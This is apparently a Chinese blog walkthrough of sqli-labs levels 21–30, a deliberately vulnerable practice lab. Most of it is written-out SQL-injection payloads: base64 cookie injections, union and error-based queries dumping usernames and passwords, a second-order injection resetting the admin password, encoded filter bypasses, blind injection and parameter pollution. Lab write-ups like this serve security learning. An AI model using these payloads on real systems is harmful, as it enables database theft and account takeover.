热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

开发笔记:sqllib闯关秘籍之2130关

篇首语:本文由编程笔记#小编为大家整理,主要介绍了sql-lib闯关秘籍之21-30关相关的知识,希望对你有一定的参考价值。

篇首语:本文由编程笔记#小编为大家整理,主要介绍了sql-lib闯关秘籍之21-30关相关的知识,希望对你有一定的参考价值。



下面开始11-20关,之前不会的关卡可以参考我这几篇文章: sql-lib闯关秘籍之1-10关,sql-lib闯关秘籍之11-20关

不管是第几关,我们的最终目标是获得用户密码,从而获取最高权限!

以下的学习过程中如果遇到那里不会的或者不清楚的地方,欢迎大家留言,我将尽力帮助大家~

 

 第二十一关

我们输入用户名密码之后发现是这个样子的,和第20关很像对吧,就是COOKIE的值变成了一堆字母数字,这是对COOKIE的值进行了base64的处理,其他和20关一样

 

 

 获取版本库名(我们只要转码就可以了)当然要先确认COOKIE后面的构造,通过测试是单引号括号闭合\'),当然这个也要转码,给大家一个转码的网站

 

 这样的话就是获取库名

 

 最后获得用户名密码,中间步骤不再一一截图,里面的语句和第一关一样

这是语句   -admin\') union select 1,2,group_concat(username,0x3a,password) from users#= 

这是base64转码     LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodXNlcm5hbWUsMHgzYSxwYXNzd29yZCkgZnJvbSB1c2VycyM9

 

 第二十二关

这一关还是输入用户名密码先试试,发现和21关一样

 

 还是那个步骤先试试是啥闭合方式,发现是双引号闭合,这就好办了,其他和上一关一样(步骤都一样,直接给最后一步)

这是语句   -admin" union select 1,2,group_concat(username,0x3a,password) from users#=

这是base64码     LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdCh1c2VybmFtZSwweDNhLHBhc3N3b3JkKSBmcm9tIHVzZXJzIz0g

第二十三关

上来先看一下23关,赶紧又回归原始了昂,咋和第一关有点像嘞,那还是哪些步骤试一试嘛

 

 我刚开始我试了试发现字符型注入但是后面有个问题,可以用and 但是不能用联合查询语句了,一看php文件原来他把我的#  --+注释符号给过滤掉了

一种是用union select联合查询放在id里面             ?id=\' union select 1,13,database() \'

 

  爆表

 

 爆列

 

 爆用户名密码

另一种是利用or "1"="1来闭合后面的双引号也。可以达到我们的目的(简单测试不再赘述,代码和第五关的基本一样)    -1\' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or \'1\'=\'1

 

 第二十四关

呀喝,刚进这个页面有点意思哈

 

 这里是个二次注入,我们可以先注册一个admin\'#的账号,在修改密码处我们就可以用自己的密码修改admin的密码了,

Sql语句变为UPDATE users SET passwd="New_Pass" WHERE username =\' admin\' # \' AND password=\'
也就是执行了UPDATE users SET passwd="New_Pass" WHERE username =\' admin\'

注册

登陆

 

 修改密码

 

 

 再用admin  密码123456登陆进来  注入成功

 

 第二十五关

这关一上来好像就告诉我们不能用and喝or进行注入,那咱就不用了,接下来有三种方法(具体步骤不再截图)

 

 第一种方法,用--+  #这种普通注入  ?id=-1\' union select 1,13,database()--+

 

 第二种方法双写or和and,因为它过滤一个,我们就让过滤后的东西再组成一个   ?id=-1\' union select 1,2,group_concat(username,0x7e,passwoorrd) from users--+

 

 

 

 第三种方法,使用&&,||绕过   admin\'||updatexml(1,concat(0x7e,(select @@version),0x7e),1)#   网上有成功的案例我没成功也不知道为什么,我还会琢磨的,等找到答案再来填,

第二十五a关

差点没发现这一关。。。通过这关的题目我们可以发现这关是盲注,所以说只是不回显了的不用and和or,而且我测试发现这关是数字型注入也就是说没有引号

 

 

 说是盲注但是还有回显,因为有回显位(其他截图步骤省略了,嘿嘿)

 

 

 再说了,一说到盲注咱们就想到啥了?那肯定是时间盲注和布尔盲注对吧

时间盲注   ?id=-1 || if(length(database())=8,1,sleep(3))#  

第二十六关

咱直接看它的php文件吧,越到后面越难了,看完之后沧桑了不少,这是直接来了个过滤大套餐啊,咋办嘞?我们用URL编码

 

 

 %09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格

%27单引号

用\'1\'=\'1进行闭合(注意在hackbar中输入&&时,需要自行URL编码为%26%26,否则会报错,而输入||不需要)

确定显示位   ?id=0%27union%a0select%a01,2,3%a0%26%26%a0%271%27=%271

 

爆库名   ?id=0\'union%a0select%a01,database(),3%26%26\'1\'=\'1

 查表名   ?id=0%27union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=\'security\'%26%26%a0\'1%27=\'1

 

 爆列名    ?id=0\'%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema=\'security\'%0baandnd%0btable_name=\'users\'%0b%26%26%0b\'1\'=\'1

 

 爆用户名密码   ?id=0\'%a0union%a0select%a01,group_concat(username,0x3b,passwoorrd),3%a0from%a0users%a0where%a0\'1%27=\'1(这里不同的是后面多了where \'1\'=\'1,是为了让语句变成无约束查询)

 

 还有一种就是用连接符结合上几天xpath报错获取信息来获取信息    ?id=-1\'||updatexml(1,concat(\'~\',database(),\'~\'),3)||\'

 

 还可以盲注     ?id=0\'||left(database(),1)=\'s\'%26%26\'1\'=\'1

 

 第二十六a关

这关与上一关的区别在于,在后面加上了括号进行闭合,同时在sql语句执行抛出错误后并不在前台页面输出。所有我们排除报错注入,这里依旧是利用union注入

获取数据库名                       ?id=0\')%0bunion%0bselect%0b1,database(),3%0b||(\'1\')=(\'1

 爆表名     ?id=0\')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema=\'security\'%26%26(\'1\')=(\'1

爆列名      ?id=0\')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema=\'security\'%0baandnd%0btable_name=\'users\'%26%26(\'1\')=(\'1

爆用户名密码(全写出来吧,不截图了)  ?id=100\')%0bunion%0bselect%0b1,group_concat(username,0x3b,passwoorrd),3%0bfrom%0busers%0bwhere%0b(\'1\')=(\'1

第二十七关

总感觉这关应该是上一关的进化版

发现过滤空格

 

 

 发现过滤关键字

 

 

 所以我们就用URL编码和大小写进行绕过,其他和上一关一样

爆库名    ?id=0\'%a0uniOn%a0sElEct%a01,database(),3%a0or%a0\'1\'=\'1

爆表名     ?id=0\'%a0uniOn%a0sElEct%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema=\'security\'%a0%26%26%a0\'1\'=\'1

爆列名     ?id=0\'%a0uniOn%a0sElEct%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema=\'security\'%a0And%a0table_name=\'users\'%a0%26%26%a0\'1\'=\'1

爆用户名密码   ?id=0\'%a0uniOn%a0sElEct%a01,(group_concat(username)),3%a0from%a0users%a0uniOn%a0seLect%a01,2,\'3

获得用户名密码

 

 

 第二十七a关

和第二十七关一样,就是把单引号变成双引号闭合了 

实验一下    ?id=0"%A0or(1)=(1)%26%26%a0"1

 

 

 获得用户名密码(中间步骤省略)

 

 

 获得数据库长度   ?id=1"and(length(database())>8)%a0uNion%a0sELect%a01,2,"3

获得数据库名    ?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,database(),"3

爆表名(查表面需要闭合后面双引号我就用"1"="1来闭合,前面还需要&&(%26%26)并一起,要不然会显示不出来,这个我经常忘记,没有就会出现这种情况)

?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema=\'security\'%a0%26%26%a0"1"%a0="1

爆列名        ?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema=\'security\'%a0And%a0table_name=\'users\'%26%26%a0"1"%a0="1

爆用户名密码      ?id=-1"%a0And%a0(length(database())>8)%a0UNion%a0SElect%a0(1),(group_concat(username)),(3)from%a0users%a0UNion%a0SElect%a01,2,"3"="3    

第二十八关

这关在之前的技术上,加上了union和select的大小写也过滤了,都不能用了

我们直接用盲注,进行测试,一点一点试(其他的不赘述了)

 

 得到数据库名  (用联合查询语句的方法) (过滤union select这一个组合,也要过滤空格,所以采用union union select select方法绕过,空格照样用%0a替换)

 

 第二十八a关

上一关是单引号,那这一关按规律就是双引号了,试一下还真是

 

 后来发现这样也可以          ?id=1)\'\'  

 

 爆数据库名       ?id=0\')UNion%a0SElect%a01,database(),(\'13\')=(\'13

 

 爆表名     ?id=0\')UNion%a0SElect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema=\'security\'%a0%26%26%a0(\'13\')=(\'13

 爆列名     ?id=0\')UNion%a0SElect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema=\'security\'%a0ANd%a0table_name=\'users\'%a0%26%26%a0(\'13\')=(\'13

爆用户名和密码     ?id=0\')UNion%a0SElect%a01,(group_concat(username)),3%a0from%a0users%a0where%a0(\'13\')=(\'13

 

 当然除了联合查询语句还可以   盲注    0\')||left((database()),1)=\'s\';%00

第二十九关

上来测试是双引号单引号,一般来说都是单引号下一关是双引号,这个是直接就是双引号,并且两个单引号也可以,那么语句可能是 select * from users where id=\'xx\' limit 1,1

 

 获得数据库名(union select  联合查询语句直接上,和之最开始前几关一样)(另外我发现#在这关不能用)

 

 爆表名   ?id=-1\' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

爆列名     ?id=-1\' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=\'users\'--+

爆用户名和密码     ?id=-1\' union select 1,2,group_concat(username,0x7e,password) from users--+

另外还有别的方法

利用tomcat与apache解析相同请求参数不同的特性,tomcat解析相同请求参数取第一个,而apache取第二个,如?id=1&id=2,tomcat取得1,apache取得2
?id=1&id=0\' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23利用tomcat与apache解析相同请求参数不同的特性,tomcat解析相同请求参数取第一个,而apache取第二个,如?id=1&id=2,tomcat取得1,apache取得2
获得表名    ?id=1&id=0\' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

第三十关

哇!这关和上一关一样,就是把单引号换成了双引号,太棒了,这关轻松

爆用户名密码     ?id=-1“ union select 1,2,group_concat(username,0x7e,password) from users--+

 

 另外和上一关一样,也可以利用tomcat与apache解析相同请求参数不同的特性

?id=1&id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

21-30关结束

 

该文章有参考了以下的网页:

sqli-lab教程——1-35通关Writeup

SQL注入靶场sqli-labs 1-65关全部通关教程

 sqli-labs(less1-less22)

 sqli-labs实战记录(一)

SQLi_Labs通关文档【1-65关】



推荐阅读
  • 本文详细介绍了SQL日志收缩的方法,包括截断日志和删除不需要的旧日志记录。通过备份日志和使用DBCC SHRINKFILE命令可以实现日志的收缩。同时,还介绍了截断日志的原理和注意事项,包括不能截断事务日志的活动部分和MinLSN的确定方法。通过本文的方法,可以有效减小逻辑日志的大小,提高数据库的性能。 ... [详细]
  • Java序列化对象传给PHP的方法及原理解析
    本文介绍了Java序列化对象传给PHP的方法及原理,包括Java对象传递的方式、序列化的方式、PHP中的序列化用法介绍、Java是否能反序列化PHP的数据、Java序列化的原理以及解决Java序列化中的问题。同时还解释了序列化的概念和作用,以及代码执行序列化所需要的权限。最后指出,序列化会将对象实例的所有字段都进行序列化,使得数据能够被表示为实例的序列化数据,但只有能够解释该格式的代码才能够确定数据的内容。 ... [详细]
  • 解决VS写C#项目导入MySQL数据源报错“You have a usable connection already”问题的正确方法
    本文介绍了在VS写C#项目导入MySQL数据源时出现报错“You have a usable connection already”的问题,并给出了正确的解决方法。详细描述了问题的出现情况和报错信息,并提供了解决该问题的步骤和注意事项。 ... [详细]
  • 本文详细介绍了如何使用MySQL来显示SQL语句的执行时间,并通过MySQL Query Profiler获取CPU和内存使用量以及系统锁和表锁的时间。同时介绍了效能分析的三种方法:瓶颈分析、工作负载分析和基于比率的分析。 ... [详细]
  • 本文介绍了在使用Laravel和sqlsrv连接到SQL Server 2016时,如何在插入查询中使用输出子句,并返回所需的值。同时讨论了使用CreatedOn字段返回最近创建的行的解决方法以及使用Eloquent模型创建后,值正确插入数据库但没有返回uniqueidentifier字段的问题。最后给出了一个示例代码。 ... [详细]
  • 本文介绍了如何使用PHP代码将表格导出为UTF8格式的Excel文件。首先,需要连接到数据库并获取表格的列名。然后,设置文件名和文件指针,并将内容写入文件。最后,设置响应头部,将文件作为附件下载。 ... [详细]
  • 解决IDEA配置xml文件头报错的方法
    本文介绍了解决IDEA配置xml文件头报错的方法,包括了具体的解决方案和步骤。通过本文的指导,读者可以轻松解决这个问题并正常使用IDEA进行开发工作。 ... [详细]
  • http头_http头部注入
    1、http头部注入分析1、原理 ... [详细]
  • 概述本章主要写当慢查询文件很大的时候怎样在线生成一个新的慢查询文件。测试环境:mysql5.6.2 ... [详细]
  • 本文介绍了如何将CIM_DateTime解析为.Net DateTime,并分享了解析过程中可能遇到的问题和解决方法。通过使用DateTime.ParseExact方法和适当的格式字符串,可以成功解析CIM_DateTime字符串。同时还提供了关于WMI和字符串格式的相关信息。 ... [详细]
  • Metasploit攻击渗透实践
    本文介绍了Metasploit攻击渗透实践的内容和要求,包括主动攻击、针对浏览器和客户端的攻击,以及成功应用辅助模块的实践过程。其中涉及使用Hydra在不知道密码的情况下攻击metsploit2靶机获取密码,以及攻击浏览器中的tomcat服务的具体步骤。同时还讲解了爆破密码的方法和设置攻击目标主机的相关参数。 ... [详细]
  • 无详细内容MySQLmysqlmysqlDELIMITERmysqlCREATEFUNCTIONmyProc(costDECIMAL(10,2))-RETURNSDECIMAL(1 ... [详细]
  • 本文提供了关于数据库设计的建议和注意事项,包括字段类型选择、命名规则、日期的加入、索引的使用、主键的选择、NULL处理、网络带宽消耗的减少、事务粒度的控制等方面的建议。同时还介绍了使用Window Functions进行数据处理的方法。通过遵循这些建议,可以提高数据库的性能和可维护性。 ... [详细]
  • 【Python 爬虫】破解按照顺序点击验证码(非自动化浏览器)
    #请求到验证码base64编码json_img_datajson_raw.get(Vimage)#获取到验证码编码 #保存验证码图片到本地defbase64_to_img(bstr ... [详细]
  • MySQL binlog与增量备份的基本原理总结
    定义binlog是记录所有数据库表结构变更(例如CREATE、ALTERTABLE…)以及表数据修改(INSERT、UPDATE即使up ... [详细]
author-avatar
冫Eva
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有